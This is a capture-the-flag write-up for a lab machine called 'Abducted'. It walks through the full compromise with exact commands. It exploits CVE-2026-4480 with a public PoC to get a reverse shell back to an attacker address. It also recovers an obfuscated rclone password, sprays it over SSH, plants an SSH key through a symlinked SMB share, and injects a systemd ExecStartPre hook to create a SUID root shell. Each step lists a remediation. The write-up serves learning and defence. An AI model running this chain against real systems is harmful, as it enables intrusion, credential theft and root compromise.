jperezduerto.info
Abducted
Summary
The Linux host abducted ($TARGET) was fully compromised by chaining four weaknesses. An anonymous-writable Samba printer share (HP-Reception) allowed me to submit a crafted print job that triggered CVE-2026-4480, a print-spooler command-injection flaw, landing a shell as nobody. That shell revealed a world-readable rclone backup config whose password — protected only by rclone's reversible AES obfuscation — was decrypted to the password in Python using the publicly documented static key.
Spraying that password over SSH authenticated as user scott (user.txt). Scott had write access to the transfer SMB share; by planting a symlink inside it pointing to marcus's home directory, an SSH public key was written into marcus's authorized_keys through the share, achieving lateral movement. Marcus was a member of the operators group, which had write access to the systemd drop-in directory for the smbd service.
An ExecStartPre directive was injected there to copy /bin/bash to a SUID-root binary; restarting smbd ran the hook as root, and /tmp/rootbash -p produced a root shell (root.txt).
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
List SMB shares without credentials — HP-Reception accepts anonymous connections.
$ smbclient -N -L //$TARGETNull-session RPC bind to enumerate domain accounts; returns scott.
$ rpcclient -U '' -N $TARGET -c 'enumdomusers'Confirm the known service credential grants no share access (all denied).
$ nxc smb $TARGET -u svc_infra -p "$PASSWORD2" --sharesFixDisable anonymous SMB access and null-session RPC bindsCritical
Exact commands 4
Open a reverse-shell listener on my machine before triggering the exploit.
$ nc -lvnp 4444Fetch the public proof-of-concept.
$ git clone https://github.com/TheCyberGeek/CVE-2026-4480-PoC && cd CVE-2026-4480-PoCSubmit the malicious print job via the anonymous HP-Reception share; replace $ATTACKER_IP with your listener address.
$ python3 exploit.py $TARGET $ATTACKER_IP 4444 -P HP-ReceptionConfirm execution context (nobody) and locate the user flag path.
$ id; hostname; find / -name user.txt -type f 2>/dev/null | head -n 10
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)FixApply the vendor patch for CVE-2026-4480 and restrict print-job submissionCritical
Exact commands 2
Read the rclone config to extract the obscured password field.
$ cat /opt/offsite-backup/rclone.conf /opt/offsite-backup/sync.shReverse rclone's AES-CFB8 obfuscation using the static key/IV from rclone's crypt/obscure.go source. Output: <withheld>.
$ python3 rclone_deobscure.py "$PASSWORD"FixSecure rclone config permissions and replace obfuscated passwords with proper secrets managementHigh
Exact commands 2
Spray the decrypted password across all known accounts; scott is the match.
$ nxc ssh $TARGET -u scott marcus svc-backup -p "$PASSWORD3" --continue-on-successRead the user flag as scott — outputs <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null scott@$TARGET 'cat /home/scott/user.txt'Exact commands 4
Generate a throw-away key pair on my machine.
$ ssh-keygen -t ed25519 -f /tmp/marcus_key -N ''As scott, create the symlink inside the writable share path that points to marcus's home directory.
$ sshpass -p "$PASSWORD3" ssh scott@$TARGET 'ln -sfn /home/marcus /srv/transfer/marcus_home'Write my public key through the symlink into marcus's .ssh directory via SMB.
$ smbclient //$TARGET/transfer -N -c 'mkdir marcus_home/.ssh; put /tmp/marcus_key.pub marcus_home/.ssh/authorized_keys'Confirm login as marcus and verify operators group membership.
$ ssh -i /tmp/marcus_key -o StrictHostKeyChecking=no marcus@$TARGET 'id; groups'
uid=1001(marcus) groups=operatorsFixDisable SMB symlink following to prevent share path traversal writesHigh
Exact commands 4
As marcus, identify writable systemd unit files — finds the smbd drop-in.
$ find /etc/systemd/system -type f -writable 2>/dev/nullBase64-encode the payload to survive shell quoting, then write the ExecStartPre directive into the smbd drop-in as marcus.
$ OV=$(printf '%s\n' '[Service]' 'ExecStartPre=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash"' | base64 -w0); ssh -i /tmp/marcus_key -o StrictHostKeyChecking=no marcus@$TARGET "mkdir -p /etc/systemd/system/smbd.service.d; echo $OV | base64 -d > /etc/systemd/system/smbd.service.d/override.conf"Reload systemd and restart smbd so the ExecStartPre hook executes as root.
$ ssh -i /tmp/marcus_key marcus@$TARGET 'systemctl daemon-reload && systemctl restart smbd'Run the SUID bash with preserved privileges to confirm euid=0 and read root.txt — outputs <root.txt>.
$ ssh -i /tmp/marcus_key marcus@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
euid=0(root)FixRemove unprivileged group write access to systemd service drop-in directoriesCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.